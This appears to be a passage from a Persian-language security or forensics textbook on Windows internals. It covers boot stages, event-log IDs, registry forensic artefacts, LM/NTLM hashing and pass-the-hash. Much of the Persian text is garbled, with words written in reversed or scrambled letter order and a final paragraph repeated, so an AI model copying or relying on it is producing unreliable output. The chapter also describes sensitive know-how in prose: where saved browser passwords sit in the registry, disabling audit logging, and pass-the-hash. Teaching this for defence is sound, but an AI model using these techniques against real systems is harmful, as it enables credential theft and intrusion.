 داشته تبلت به یشتریب شباهت است قرار عامل ستمیس نیا بود. یاساس رییتغ کی 8 ندوزیو
 فر  شیپ رفتار ولی دارد، 7 ندوزیو به یادیز شباهت که دیبرو یدسکتاپ به دیتوان می باشد.
 .باشد می تبلت مانند 8 ندوزیو
 و Cortana مانند یدیجد های یژگیو بود. ندوزیو یبرا یگرید ریچشمگ رییتغ 10 ندوزیو

 موارد یبعض در و داده رییتغ را وزندیو عامل ستمیس با کاربران تعامل نحوه Edge مرورگر
 همان در باًیتقر زین Windows Server 2016 است. داده رییتغ را نفوذ تست با برخورد نحوه
 بود. دسترس در زمان
 :ندوزیو از یمختصر خچهیتار

 1985 Windows 1.0 opened 
 1990 Windows 3.0 
 1992 Windows 3.1 
 1995 Windows 95 
 1996 Windows NT 4.0 
 1998 Windows 98 
 2000 Windows 2000 
 2001 Windows XP (first 64-bit version)  
 2003 Windows XP with Windows Server 2003 
 2007 General release of Windows Vista 
 2008 Windows Vista Home Basic, Home Premium, Business, and Ultimate; 

Windows Server 2008 
 2009 Windows 7 and Windows Server 2008 R2 
 2012 Windows 8 and Windows Server 2012 
 2013 Windows Server 2012 R1 
 2015 Windows 10 
 2016 Windows Server 2016 

 کند. فراهم شما یبرا را ندوزیو درک نهیزم دیبا ندوزیو بر یمرور و مختصر خچهیتار نیا

 

 Boot فرایند

 حداقل دیبا ،ندوزیو یواقع درک یبرا .باشد می یانداز راه فرایند عامل ستمیس هر مهم قسمت
 یساسا روند از ای خلاصه ریز موارد .دیباش داشته ستمیس شدن بوت نحوه مورد در ای دهیا

 است:
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1. BIOS خودکار ییخودآزما power-on self-test (POST) یزمان درواقع دهد. می انجام را 
 ،وهایدرا ایآ که کند می یبررس را (BIOS) ستمیس ای پایه یخروج / یورود ستمیس که است
 های مولفه load از قبل اتفاق نیا نه. ای هستند کار در یدیکل موارد ریسا و دیکل صفحه

(components) دهد می رخ عامل ستمیس. 
 را شنیپارت جدول و Master boot record (MBR) یانداز راه یاصل رکورد وتریکامپ .2
 .خواند می
3MBR. دارد قرار آن یرو عامل ستمیس که است یشنیپارت نیا کند. می دایپ را بوت شنیپارت. 
4 MBR. بخش به را کنترل boot کند می منتقل بوت شنیپارت در. 
 از قسمت نیاول نیا .باشد می NT لودر NTLDR کند. می load را NTLDR بوت بخش .5
 دارد. عهده بر را عامل ستمیس هیبق لود و هیته فهیوظ و است ندوزیو عامل ستمیس
 قدرار  Hibernation حالدت  در شددن،  خداموش  یجدا  بده  نددوز یو اگدر  که دیباش داشته توجه .6

 سدر  از یقبلد  حالدت  در سدتم یس و شوند می load حافظه در hiberfil.sys اتیمحتو باشد، گرفته
 .شود می گرفته
7NTLDR. شدود  مدی  سدوییچ  یتد یب 64 اید  یتد یب 32 حافظده  به یواقع حالت از ستمیس به باتوجه. 

 از حفاظدت  از یبانیپشدت  چیهد  اسدت.  x86 هدای  سدتم یس یبدرا  فدر   شیپد  طور به واقعی حالت
 code)کدد  ازید امت سدطح  اید  (multitasking) ای فده یوظ چندد  (،memory protection )حافظه

privilege) کند نمی فراهم را. 
8NTLDR. کند می شروع را لیفا ستمیس یورهایدرا حداقل( FAT، FAT32، NTFS) . 
9. NTLDR، boot.ini یمنو و خوانده را boot loader ستمیس نیچند اگر دهد. می شینما را 

 شوند. می داده شینما ها آن باشد، داشته وجود عامل
10.NTLDR،  NTOSKRNL کند می منتقل را یافزار سخت اطلاعات و کند می لود را. 

NTOSKRNL مرحله آغاز و بوت مرحله انیپا نیا .باشد می ندوزیو عامل ستمیس یواقع هسته 
load باشد می. 
11. NTLDR، hal.dll افزار( سخت انتزاع هیلاکند.) می لود را . 
12. NTLDR را ستمیس معتج مرکز load را آن ماتیتنظ در و (یستریرج یعنی) کند می 
 .خواند می
 . شود( می یآب )صفحه شود می شروع هسته (initialization اولیه) مقداردهی .13
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 .شود می آغاز ها سرویس load مرحله .14
 .شود می آغاز Win32 ستمیس ریز شروع مرحله .15
 شود. یم (logs on نگاری) واقعه ،کاربر .16

 ستمیس یانداز راه از مانع است ممکن که را یموارد دهد می امکان شما به بوت دستور دانستن
 یبرخ شود. می اجرا گرید موارد و شود می یرمزگذار یزمان چه که دیکن درک شود،
 و شوند می load ستمیس شدن load هنگام ،نیبنابرا و کنند می آلوده را boot بخش ها روسیو
 یبرا یکل یروش به حداقل یخوب لیدل همه نهایا بگذارند. ریتأث ستمیس load نحوه بر توانند می

 .باشد می بوت بیترت درک
 

 ندوزیو مهم یلهایفا

 / ها پردازش از یاریبس ،دیکن توجه (Task) کار ریمد به اگر است. فایل یتعداد یدارا ندوزیو
 خود بدافزار به ینام باهوش یجاسوس یافزارها نرم و روسیو .دیکن می مشاهده را ها برنامه
 (observer) ناظر کی که شود می باعث که ،است ستمیس یهافرایند نیا مشابه که زنند می

 ندوزیو های فایل نیمهمتر از مورد چند هستند. عامل ستمیس از یبخش نهایا کند فکر یتصادف
 است: شده ذکر نجایا در

Ntdetect.com خیتار / زمان مانند یکربندیپ / دستگاه هیاول داده یبرا را وتریکامپ که ای برنامه 
 (queriy) جو و پرس رهیغ و ها پورت ،سکید یوهایدرا ،ستمیس گذرگاه انواع ،CMOS از
 .کند می
 Ntbootdd.sys ی.ساز رهیذخ کننده کنترل دستگاه وریدرا 
 Ntoskrnl.exe عامل. ستمیس یاصل هسته 
 Hal.dll افزار سخت یبرا یرابط. 
 Smss.exe کند می اداره را شما ستمیس های سیسرو که است ای برنامه. 

Winlogon.exe کند می وارد ستمیس به را شما که ای برنامه. 
Lsass.exe کند می کنترل را نگاری( واقعه )ستمیس به ورود و یتیامن های استیس که ای برنامه. 

 Explorerرهیغ و اکسپلورر ندوزیو دسکتاپ، مانند د،کن می برقرار ارتباط آن با کاربر که رابطی. 
Crss.exe را گرید موارد و کنسول های پنجره ها، رشته جادیا مانند یفیوظا که ای برنامه 

 .کند می تیریمد
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 ،دیهست بدافزار توسط آن (infected) بودن آلوده یبررس دنبال به ،ستمیس کی یبررس هنگام
 بدافزار به که است رایج .دیباش داشته یکاف اطلاعات ستمیس یاصل های اپلیکیشن مورد در دیبا
 مثال، عنوان )به مشابه نام با اجرا حال در فرایند کی اگر دهند. می ستمیس فرایند مشابه ینام

Lsassx.exe) دهد. نشان را بدافزار وجود تواند می نیا ،دیکرد مشاهده 
 

 ندوزیو های  لاگ

 از لاگ روش حال، نیا با کنند. می یبانیپشت (logging) ینگار واقعه از ندوزیو های نسخه همه
 سرور اکنون و 2012 سرور ندوزیو و 10 ندوزیو با است. متفاوت گرید نسخه به ای نسخه
 کیکل سپس و دسکتاپ چپ سمت نییپا گوشه در Start دکمه یرو کیکل طریق از ،2016
 Administrative اداری یابزارها سپس .کنید می پیدا را ها لاگ ،Control Panel یرو

Tools نما(نمادها ی icons view) دادیرو نمایشگر سپس و Event Viewer انتخاب را 
 :دیکن یبررس را ریز های لاگ دیتوان می .دیکن می
 یدادهایرو هم .باشد می یتیامن نظر از لاگ نیمهمتر احتمالاً : (Security logی)تیامن لاگ
 .دارد را ناموفق هم و آمیز موفقیت ورود
 ها  اپلیکیشن ای ها برنامه توسط که است یمختلف یدادهایرو شامل لاگ نیا :اپلیکیشن لاگ
 ثبت اپلیکیشن لاگ قسمت در را خود یخطاها ها  اپلیکیشن از یاریبس است. شده ثبت
 .کنند می
 ،کهاست شده ثبت ندوزیو ستمیس های مولفه توسط که است ییدادهایرو شامل :ستمیس لاگ 

 ریسا اندازه به یتیامن نظر از خاص لاگ نیا است. درایور یخراب مانند ییدادهایرو لشام
 .باشد نمی توجه جالب ها لاگ
 از شده یآور جمع یدادهایرو رهیذخ یبرا : (ForwardedEvents) انتقال دادیرو لاگ 

 دادیرو یدکربنیپ وجود صورت در فقط ها داده نیا شود. می استفاده دور راه از های کامپیوتر
 .دارد وجود (event forwarding) انتقال
 کی از دادهایرو رهیذخ به مربوط یهالاگ نیا :سرویسها و ها اپلیکیشن به مربوط های لاگ 

 باشند، داشته ریتأث ستمیس در است ممکن که ییدادهایرو یجا به واحد ولفهم ای اپلیکیشن
 .کند می استفاده
 یخال همربوط های لاگ که است ممکن حال، نیا با دارند. یمشابه های لاگ ندوزیو یسرورها
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 کند. روشن و خاموش را ستمیس به ورود تواند می auditpol.exe ابزار مثال، عنوان به باشد.
 غیرفعالرا نگاری واقعه خود، نادرست یکارها انجام هنگام است ممکن باهوش تکارانیجنا
 کنند. فعال دوباره را آن سپس و کنند
 ها آن همه به پرداختن کنند. می نییتع را ها یورود که دیکن می دایپ را یاعداد ،امنیتی لاگ در
 مطرح نجایا در کننده نگران مشترک موضوع چند اما است، خارج مبحث نیا حوصله از
 :شود می

 Auditpol.exe واقع در .Auditpol.exe از استفاده مانند ممیزی های استیس در یراتییتغ :4902
 یبرا آن از هکرها یگاه حال، نیا با دهند. رییتغ را ها استیس تا باشد می ها ادمین یبرا یابزار

 لاگ در عدد نیا مشاهده کنند. می استفاده (logging) نگاری واقعه موقت کردن غیرفعال
 است. کرده رفعالیغ را logging و بوده شما ستمیس در هکر کی که دهد نشان دارد احتمال
 یعاد اتیعمل در ها حساب که است یهیبد .است هشد جادیا یکامپیوتر حساب کی :4741
 ،باشد نشده حساب شبکه های ادمین توسط حساب جادیا نیا اگر ،ولی شوند. می جادیا شبکه
 4742 با نزدیکی رابطه عدد نیا باشد. کرده جادیا را حساب نیا مهاجم کی که دارد احتمال
 است. کرده رییتغ یترکامپیو حساب دهد می نشان که ،دارد
 انجام نیح در تواند می مجددا، .است کرده دایپ یدسترس حساب ورود رمز هش به :4782
 است. شده حساب نرمال اتیعمل جهینت در ایآ که دیکن یبررس اما دهد، رخ یعاد یکارها
 دبتوانن ها ادمین اگر .است هشد اضافه تیامن تیقابل یدارا سراسری گروه به عضو یک :4728

 که دهد نشان تواند می صورت، نیا ریغ در .باشد می نرمال عملکرد کنند، حساب را نیا
 دارد. شما شبکه به یتر گسترده یدسترس اکنون و هبرد بالا را ازاتیامت یمهاجم

 

 ست؟یچ یستریرج

 برنامه کی نصب هنگام .باشد می ندوزیو ستمیس در موجود اطلاعات تمام یبرا مخزن کی 
 را دسکتاپ نهیزم پس که یهنگام شود. می رهیذخ یستریرج در آن یکربندیپ ماتیتنظ ،دیجد
 شود. می رهیذخ یستریرج در زین مورد نیا ،دیده می رییتغ

 نیچند که تیواقع نیا و .باشد می استفاده قابل همچنان ولی است، یمیقد ریز دهیگز اگرچه
 است. ندوزیو یستریرج بودن یتایح زانیم دهنده نشان کند، می اعمال را آن که است سال
 :Joan Bard توسط Microsoft TechNet مقاله طبق
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 ماتیتنظ و یکربندیپ های داده ندوزیو یتیب 32 های برنامه همه ،ییاستثنا مورد چند از ریغ به"
 های برنامه و ندوزیو یتیب 16 های برنامه اکثر که یحال در کنند، می رهیذخ یستریرج در را شما

MS-DOS های فایل ها آن - ستندین نینچ INI یمتن های فایل) دهند می حیترج را منسوخ text 

files یکربندیپ شامل یستریرج . کند( می استفاده یکربندیپ رهیذخ یبرا یتیب 16 ندوزیو که 
 و خودکار های یکربندیپ با Plug and Play های دستگاه شامل که است کامپیوتر افزار سخت
 و یافزار سخت ماتیتنظ نیچند دهد می اجازه عامل ستمیس به .باشد می یمیقد های دستگاه
 تا دهد می اجازه برنامه به کند. نگهداری را یشخص دهیبرگز ماتیتنظ با کاربر نیچند

 دده گسترش (property sheets) یژگیو های برگه و انبریم یمنو مانند یموارد با را دسکتاپ
 عنوان به موارد این اما هست. هم شتریب موارد البته کند. یانبیپشت شبکه قیطر از دور راه از و

 "دهد. می انجام یستریرج که است ییکارها یبرا مناسبی مقدمه
 از دیتوان می که دارد وجود یادیز اطلاعات ،کرد مشاهد دیخواه بخش نیا در که طور همان
 .دیباش داشته ندوزیو از یکامل درک که است مهم لیدل نیهم به ،دیکن یآور جمع یستریرج
 عملیات ،سدیبنو ای بخواند را یستریرج تواند می که یبدافزار با دیبخواه است ممکن نیهمچن
 قیطر از رایج ریمس ؟یابید دست یستریرج به دیتوان می چگونه اول، اما، .دهید انجام را تست
 و کرده انتخاب را Run سپس و Start ،2016 سرور و 10 ندوزیو در .باشد می regedit ابزار
 انتخاب را ها برنامه همه ،رفته ها برنامه ستیل به دیبا ،8 ندوزیو در .دیکن پیتا را regedit سپس
 .دیکن دایپ را regedit سپس و کرده
 ادی (Hive) تجمع کزامر عنوان به ها آن از که است افتهی سازمان بخش پنج در یستریرج
 باشد. دیمف شما یبرا تواند می که است یخاص اتاطلاع یحاو ها بخش نیا از کی هر شود. می
 است: شده داده شرح نجایا در تجمع پنج
1. HKEY_CLASSES_ROOT (HKCR) نیقوان به مربوط اطلاعات تجمع مرکز نیا 
 را مرتبط موارد و یکاربر واسط برنامه، یانبرهایم (،drag-and-drop)کردن رها و دنیکش
  کند. می رهیذخ
2. HKEY_CURRENT_USER (HKCU) که باشد می ضروری اریبس تجمع مرکز نیا 

 و کاربر های پوشه دسکتاپ، ماتیتنظ جمله از را شده وارد یفعل کاربر به مربوط اطلاعات
 کند. می رهیذخ را گرید موارد
3. HKEY_LOCAL_MACHINE (HKLM) در که است یماتیتنظ یحاو تجمع مرکز نیا 

 خاص. کاربر از نظر صرف است، مشترک کامل دستگاه
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4. HKEY_USERS (HKU) از است، کاربران همه یبرا لیپروفا یدارا تجمع مرکز نیا 
 آنها. ماتیتنظ جمله
5.HKEY_CURRENT_CONFIG (HCU) جاری ستمیس یکربندیپ یحاو تجمع مرکز نیا 
 .باشد می
 .دیکن مشاهده 6-1 شکل در دیتوان می را تجمع مرکز پنج نیا

 

 
 Windows Registry Hives .6-1 شکل

 

 یاتید ح ریمقاد دیتوان می کجا که دید خواهید آموزش دیرو می پیش بخش نیا در که طور همان
 .دیبسپار خاطر به را (Hiveتجمع) مرکز خاص های نام ،دیکن دایپ یستریرج در را یخاص
 

 USB اطلاعات

 متصل دستگاه به که باشد می USB دستگاه هر ،بیابید یستریرج در دیتوان می که مهم نکته کی
 \ HKEY_LOCAL_MACHINE \ System \ ControlSet یستریرج دیکل است. شده

Enum \ USBTOR های دستگاه ستیل USB یاتفاق نیچن غالباً است. دستگاه به متصل 
 (external) یخارج دستگاه به را گرید اطلاعات ای کند می منتقل را شواهد مجرم که افتد می
 وجود هایی دستگاه که دهد نشان شما به تواند می مورد نیا برد. می خود با را آن و کرده فیلتر
 به ها فایل نیآفلا انتقال در یسع مجرمان اغلب، .دیکن یبررس و کرده دایپ را ها آن دیبا که دارد
 نیا به که یخارج یوهایدرا مورد در یستریرج میتنظ نیا دارند. (external) یخارج ویدرا
 .دهد می اطلاع شما به اند شده متصل ستمیس
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 ارائه را مرتبط اطلاعات که دارد وجود USBSTOR با ارتباط در زین یگرید یدهایکل
 تا دهد می را امکان نیا محققان به SYSTEM \ MountedDevices مثال، عنوان به دهند. می

 نصب USB هدستگا دادن قرار هنگام که شده داده ویدرا حجم ای حرف کی با را الیسر شماره
 ریتصو تا شود بیترک USBSTOR اطلاعات با دیبا اطلاعات نیا .هندد مطابقت است، شده
 .دیآ دست به USB به مربوط یتهایفعال از یکامل

Registry key \ Software \ Microsoft \ Windows \ CurrentVersion \ Explorer \ 
MountPoints2 دستگاه اتصال هنگام که دهد می نشان USB وارد ستمیس یرو بر کاربر کدام 

 خاص USB دستگاه کی با را یخاص کاربر تا دهد می اجازه محقق به کار نیا است. شده
 کند. مرتبط

 

 Wireless Networks میس یب های شبکه

 را ورود رمزهای از یبرخ دیبا احتمالاً .دیشیندیب Wi-Fi شبکه به اتصال به ای لحظه یبرا فقط
 وارد را عبور رمز آن ،دیشد متصل Wi-Fi آن به که گرید دفعه باشد نمی زملا اما .دیکن وارد
 رهیذخ یستریرج در کجا؟ اما شود، می رهیذخ کامپیوتر از ییجا در اطلاعات نیا د؟یکن
 شود. می

 Service Set سیسرو مجموعه شناسه شود، می متصل میس یب شبکه کی به یفرد که یهنگام

Identifier (SSID) توان می را اطلاعات نیا شود. می ثبت یحیترج شبکه اتصال کی انعنو به 
  یستریرج دیکل در
 HKLM \ SOFTWARE \ Microsoft \ WZCSVC \ Parameters \ Interfaces افتی. 
 HKLM \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion یستریرج دیکل

\ NetworkList \ Profiles \ های شبکه متما از یستیل Wi-Fi ها آن به شبکه واسط نیا که را 
 دهد. می قرار شما اختیار در است شده متصل

 SSID حاتیتوض دیکل در شبکه (Description key) نیاول یبرا کامپیوتر یوقت است. موجود 
 شود. می ضبط DateCreated قسمت در شد، تصلم شبکه به بار
 یستریرج دیکل

 HKLM \ SOFTWARE \ Microsoft \ WindowsNT \ CurrentVersion \ 
NetworkList \ Signatures \ Unmanaged \ {ProfileGUID}  

 کند. می رهیذخ است شده متصل آن به که را میس یب (APی)دسترس نقطه MAC آدرس
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  یستریرج در Word اسناد یابیرد

 عنوان به - ندکن می رهیذخ یستریرج در را PID_GUID مقدار Word های نسخه از یاریبس
  مانند: یزیچ مثال،

 

{1 2 3 A 8 B 2 2 - 6 2 2 B - 1 4 C 4 - 8 4 A D - 0 0 D 1 B 6 1 B 0 3 A 4} 
 

 شده جادیا آن یرو بر سند نیا که است یدستگاه MAC آدرس D 1 B 6 1 B 0 3 0 0 رشته
 یریگیپ است، مشابه میجرا و یجاسوس ،یمعنو تیمالک سرقت شامل که یموارد در است.
 به که باشد می ندوزیو یستریرج از مبهم نسبتاً جنبه کی نیا باشد. مهم اریبس تواند می سند اصل
 .ستین شده شناخته یخوب
 

   (Malware in the Registry)یستریرج در بدافزار

 \ HKLM \ SOFTWARE \ Microsoft \ Windows NT و دیکن جستجو را یستریرج اگر

CurrentVersion \ Winlogon نام به یمقدار ،دیکن دایپ را Shell فر  شیپ داده با 
Explorer.exe .ورود، لیتکم هنگام دیگو می شما به ستمیس نیا اساساً، دارد Windows 

Explorer ریمقاد های داده به را بدافزار ییاجرا لیفا بدافزارها از یبرخ .دیکن یانداز راه را 
 اگر شود. می load ستمیس یانداز راه بار هر در فزاربدا نیبنابرا کنند، می اضافه فر  شیپ

 .دیکن یبررس را یستریرج میتنظ نیا که است مهم ،باشید می یبدافزار به مشکوک
 است. ستمیس خدمات ستیل \ HKLM \ SYSTEM \ CurrentControlSet \ Services دیکل
 افزار نرم ژهیو به وند،ش می نصب سیسرو عنوان به که دارد وجود بدافزارها از نمونه نیچند

Backdoor. دیبزن علامت دوباره را دیکل نیا ،دیهست بدافزار وجود به مشکوک اگر ،نیبنابرا. 
 

 Uninstalled Software نشده نصب افزار نرم

 یمختلف اهداف یبرا افزاری نرم است ممکن کند می نفوذ کامپیوتر به که (Intruder) متجاوز
 احتمال به کند. نصب کامپیوتر آن یرو ،یپشت درب جادیا ای شده کپا یلهایفا یابیباز مانند
 نیهمچن کرد. خواهد حذف کرده استفاده که را یافزار نرم متجاوز، فرد آن از پس ادیز

 نصب را steganography افزار نرم است، طلاعاتا سرقت حال در که یکارمند دارد احتمال
 کند. می حذف را شده نصب که افزار نرم نیا یو عاقبامت کند. پنهان را ها داده بتواند تا کرده
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 HKLM \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Uninstall دیکل
 یحت .دیکن مشاهده اند شده حذف دستگاه نیا از که را ییافزارها نرم تمام دهد می امکان شما به
 همچنان یستریرج دیکل نیا ادیز حتمالا به ،باشید کرده نصب را هک یابزارها از یبرخ اگر
 .دهد می نشان را دستگاه یرو بر افزار نرم وجود سابقه

 

 Passwords عبور یرمزها

 در رمزها آن بسپارد، خاطر به را خود عبور یرمزها که داد فرمان اکسپلورر نترنتیا به کاربر اگر
Registry است: ریمقاد نیا یدارا ریز دیکل .دیکن یابیباز را ها آن دیتوان می و شوند می رهیذخ 

.HKCU\Software\Microsoft\Internet Explorer\IntelliForms\SPW 
 IntelliForms \ Storage 1 \ صورت به ندوزیو های نسخه از یبرخ در که دیباش داشته توجه
 .شد خواهد ختم
 خود عبور یرمزها از افراد که ستین معمول ریغ .باشد می توجه جالب عبور رمز منبع هر

 را نهیزم کی در استفاده مورد عبور یرمزها دیبتوان اگر ،نیبنابرا کنند. می مجدد استفاده
 باشند. گرید های نهیزم در استفاده مورد عبور یرمزها همان دارد احتمال ،دیآور دست به

UserAssist 
 عتریسر یانداز راه به کمک آن هدف .باشد می بعد به 2000 ندوزیو های یژگیو از یکی

 با کند. می حف  اند، شده یانداز راه که را هایی برنامه رکورد ،لیدل نیهم به است. ها برنامه
 آن یرو شده اجرا های برنامه تمام توان می ،UserAssist یبرا مناسب یستریرج دیکل یبررس

 .کنید مشاهده را دستگاه
 \ HKEY_CURRENT_USER \ Software \ Microsoft یستریرج در اطلاعات نیا

Windows \ CurrentVersion \ Explorer \ UserAssist یرمزگذار اما شود، می رهیذخ 
 دیخواه ازین UserAssist گانیرا ابزار مانند یزیچ به شتریب اطلاعات یبرا نیبنابرا است، شده

 داشت.
-https://www.downloadcrew.com/article/23805 از را UserAssist ابزار دیتوان یم

userassist دیکن افتیدر. 
 

Prefetch. 

 یبرا ندوزیو های برنامه همه، نه اگر ،شتریب است. شده یمعرف XP ندوزیو در که است یکیتکن
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 یبستگ dynamic-link libraries (DLLs) ایپو وندیپ های کتابخانه از یعیوس فیط به عملکرد
 مورد های DLL تمام از یستیل زندویو ها، برنامه نیا عملکرد به دنیبخش سرعت یبرا دارند.

 ها DLL تمام شود، می یانداز راه ییاجرا فایل که یهنگام دارد. می نگه را ییاجرا ازین
 کی اما ،کند عیتسر را افزار نرم اجرای که است نیا هدف شوند. می " fetched“ یواکش"
 و نشد اجرا بار چند از یستیل Prefetch یورود که که باشد می صورت بدین یجانب تیمز
 مشابه های یرفناو نیگزیجا یفناور نیا دارد. می نگه را آن یاجرا زمان / خیتار نیآخر

Superfetch است. شده 
 نماد در ای ”SCCA“ (offset 4 ییجابجا )در یتیبا 4 یامضا کی یدارا Prefetch فایل هر

 کی امضا از قبل که است نیا بر فر  است.0x53 0x430x43 0x41 مالیهگزادس
 و 10 ندوزیو یبرا XP، 30 ندوزیو یبرا 17 دارد: وجود تیبا 4 نسخه (Indicator)نشانگر

 Prefetch تنظیم شیپ های فایل .افتی ٪SystemRoot ٪ Prefetch\در توان می را ها فایل .رهیغ
 در شوند. می ختم db Ag، *.db.trx Ag.* به Superfetch های فایل .شوند می ختم pfپسوند. با

 های نسخه با مورد نیا اما دارد، وجود ینگهدار های تیمحدود Prefetch های فایل دتعدا
 کند. می رییتغ ندوزیو مختلف

 

Volume Shadow Copy. 

 از یبلوک حالت به راتییتغ نیا دارد. می نگه را راتییتغ از یکپ ای رکورد کی ویندوزها 
 Volume در افتهی رییتغ های بلوک و ندشو می سهیمقا هم با روزانه که شوند می رهیذخ ها داده

Shadow سیسرو شوند. می یکپ Volume Shadow Copy از و شود می اجرا روز در بار کی 
 صورت به راتییتغ از فقط ،VSC مشتقه های نسخه در کند. می استفاده KB 16 داده های بلوک
 کامل، سازی شبیه ای یپک یبرا شود. می گرفته بانیپشت (cluster-by-cluster) خوشه به خوشه
 یشواهد یجستجو یبرا یعال یمکان تواند می که ،شود می هیته بانیپشت نسخه ها فایل تمام از

 نباشد. آگاه آن بودن موجود از یحت که باشد موردمشکوکی اردد احتمال که باشد
 

 Windows Password Hashing ندوزیو عبور رمز کردن هش

 ستمیس عبور یرمزها یابیباز یبرا تلاش هکر، ای نفوذ دهکنن تست هر رایج فیوظا از یکی
 کند. می رهیذخ را ها رمزعبور چگونه ندوزیو دیبدان که است مهم ،نیبنابرا .باشد می ندوزیو
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 به یلیفا در را ها آن و کنند می رهیذخ هش صورت به را عبور یرمزها ندوزیو های نسخه تمام
 رمز از هش کی فقط Security Accounts Manager فایل کنند. می رهیذخ SAM فایل نام
 .ستیچ شما یواقع عبور رمز داند نمی خودش ندوزیو کند. می رهیذخ را عبور
 کرده جادیا را خود هش کردیرو هش، معروف تمیالگور از استفاده یجا به کروسافتیما

 است. افتهی توسعه گذشته یسالها یط کروسافتیما کردن هش فرایند است.
NT LAN Manager (NTLM) که باشد می کروسافتیما یتیامن های پروتکل از ای مجموعه 

 یمیقد LAN ریمد نیجانش نیا کند. می فراهم را بودن محرمانه و یکپارچگی ،تیهو احراز
 های دامنه در Kerberos از اکنون کروسافتیما .باشد می NTLMv2 آن یفعل نسخه و است
 گرفته بکار ریز موارد در هم هنوز NTLM اما (بعد به 2000 ندوزیو )از کند می استفاده ندوزیو
 شود: می
 .است سرور کی به تیهو احراز حال در IP آدرس قیطر از (client) یمشتر .1
 است متفاوت یرکتوریودایاکت forest کی در سرور کی یبرا تیهو احراز حال در یمشتر .2
 ها forest .است متغیر و یانتقال forest نیب اعتماد یجا به NTLM معتبر اعتبار کی یدارا که
 در ها دامین درخت هستند. ها دامین درخت ای ها دامین از یمنطق های گروه ،یرکتوریودایاکت در
 از یعضو که هایی دامین درخت ب،یترت نیا به هستند. مستقل و جدا صورت به forest کی
 دامین کی شما یوقت واقع، در .گذارندینم اشتراک به را وستهیپ نام یفضا باشند،یم forest کی

 کی عنوان به دامین نیا دارد، جداگانه نام کی که دیکن می اضافه یرکتوریدا ویاکت به دیجد
  (.شودیم اضافه forest به دیجد درخت

 .ندارد تعلق ای دامنه به که است یسرور از اعتبار هویت احراز حال در یمشتر -3
 .باشد شده مسدود روالیفا توسط Kerberos اگر -4
 اریبس های نسخه در فقط و شده منسوخ اکنون بود. LanManager کروسافتیما هش نیاول
 به فرایند داشت. یادیز های تیمحدود LanManager (LM) شود. می افتی ندوزیو یمیقد
 است: شده داده شرح نجایا در خلاصه طور

LanManager بود حرف 14 به محدود. 
 شدند. می لیتبد بزرگ حروف به شدن هش از قبل بتداا عبور هایرمز همه 

 میتقس مهین دو به تیبا 14 مقدار شد. می پر یخال ریمقاد با بود، تیبا 14 از کمتر عبور رمز اگر
 .تیبا 7 کدامهر طول ،شود می
 .شود می استفاده جداگانه DES دیکل دو جادیا یبرا مهین دو نیا از 
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 شود می استفاده ASCII ثابت رشته کی یرمزگذار یبرا دهایکل نیا از کی هر از 
KGS!@#$% هم به نهایا سپس .باشد می یتیبا 8 جداگانه شده رمزگذاری متن رشته 2 ساختن 

 درست هش تمیالگور کی واقع در که کنند، می جادیا تیبا LM 16 هش کی و خورده وندیپ
 .باشد نمی
 هش تمیالگور کی از حداقل NT Hash .باشد می NT Hash مورد نیا در شرفتیپ نیاول

 بود. شده منسوخ زمان آن در که یتمیالگور MD4 البته کرد، استفاده یواقع کردن
 NTLM از نسخه دو بود. New Technology LAN Manager (NTLM) یبعد شرفتیپ

 :است شده آورده نجایا در NTLM یاساس روند دارد. وجود
 که باشد می یمشتر از متشکل که دارد وجود (Client-Server) سرور-مشتری تبادل کی .1

NEGOTIATE_MESSAGE کند می ارسال را. 
 .دهد می پاسخ CHALLENGE_MESSAGE به سرور .2
 دهد. می پاسخ AUTHENTICATE_MESSAGE به یمشتر -3
 هویت احراز یبرا اند، شده رهیذخ سرور در که شده هش عبور رمز مقدار دو هر ای کی از

 هستند. NT Hash ای LM Hash دو نیا شود. می استفاده یمشتر
 کی ارسال با سرور شود. می آغاز یمشتر به سرور تیهو احراز با 1 نسخه NTLM یاصل روند
 سیسرو کند. می تیهو احراز را یمشتر (،challenge )چالش عنوان به یتصادف یتیبا 8 عدد
 سرور و یمشتر نیب ترکمش راز کی و چالش شامل که شود می شامل را یاتیعمل رندهیگ

 NTLM یعموم حاتیتوض در که است شده هش عبور یارمزه از یکی مشترک راز است.
 صحت سرور شود. می ارسال سرور به که باشد می یتیبا 24 مقدار کی جهینت است. شده بحث
 کند. می دییتأ را آن

NTLM 8 چالش خپاس دو یمشتر کرد. جادیا را یاضاف )اصلاحات(راتییتغ یبرخ 2 نسخه 
 دهیکش چالش به سرور از HMAC یتیب 16 هش کی کدام هر کند. می ارسال را سرور یتیبا

 استفاده MD5 هش تمیالگور از HMAC) است کاربر ورود رمز از HMAC کی و شده
 است. دامنه نام و تیبا 8 یتصادف ارمقد ،جاری زمان شامل زین دوم پاسخ . کند( می
 

 Windows Hacking Techniques ندوزیو هک های کیتکن

 از ای گسترده فیط که ندارد تعجب یجا ،ندوزیو کروسافتیما ریفراگ تیماه به توجه با
 یبرخ خلاصه طور به بخش، نیا در کنند. می حمله عامل ستمیس آن به خاص طور به حملات
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 یاه روش از یبرخ مورد در ،"یرمزنگار" ،3 فصل در کرد. میخواه یبررس را موارد نیا از
 به را خود توجه یوقت کتاب، نیا در بعداً شد. بحث ندوزیو یبرا عبور رمز شکستن

Metasploit میخواه مشاهده ندوزیو از برداری بهره یبرا یشتریب یها روش ،میکرد معطوف 
 تمرکز ندوزیو به حمله یبرا Metasploit ریغ یها روش یرو بر ،یفعل فصل یبرا کرد.
 کرد. میخواه
 

Pass the Hash. 

 . (دیبسپار بخاطر 3 فصل در را هش )بحث ستین برگشت قابل هش که شود می متوجه اساساً
 مهاجم اگر .کند می ارسال را آن هش قیطر از فقط ،ستیچ رمز بفهمد نکهیا یجا به مهاجم
 مهاجم هش: )فقط آورد دست به را کاربر عبور رمز هش ریمقاد و معتبر یکاربر نام کی بتواند
 نکهیا بدون ،کرده استفاده هش از تواند می هکر صورت نیا در داند(، نمی را یعواق عبور رمز
 باشد. داشته اطلاع یواقع عبور رمز از وقت چیه

 نوبه به سپس کنند. پیتا را خود عبور یرمزها خواهند می کاربران از ندوزیو های اپلیکیشن
 ،LsaLogonUser مانند API کی با توان می را کار نیا اغلب کنند. می هش را ها آن خود
 در هش از کردن عبور واقع در داد. انجام NT هش ای LM هش کی به ورود رمز لیتبد

 هش. لارسا فقط و اپلیکیشن
 نوبه به سپس کنند. پیتا را خود عبور یرمزها خواهند می کاربران از ندوزیو های اپلیکیشن
 ،LsaLogonUser مانند API کی با نتوا می را کار نیا اغلب کنند. می هش را ها آن خود
  داد. انجام NT هش ای LM هش کی به ورود رمز لیتبد
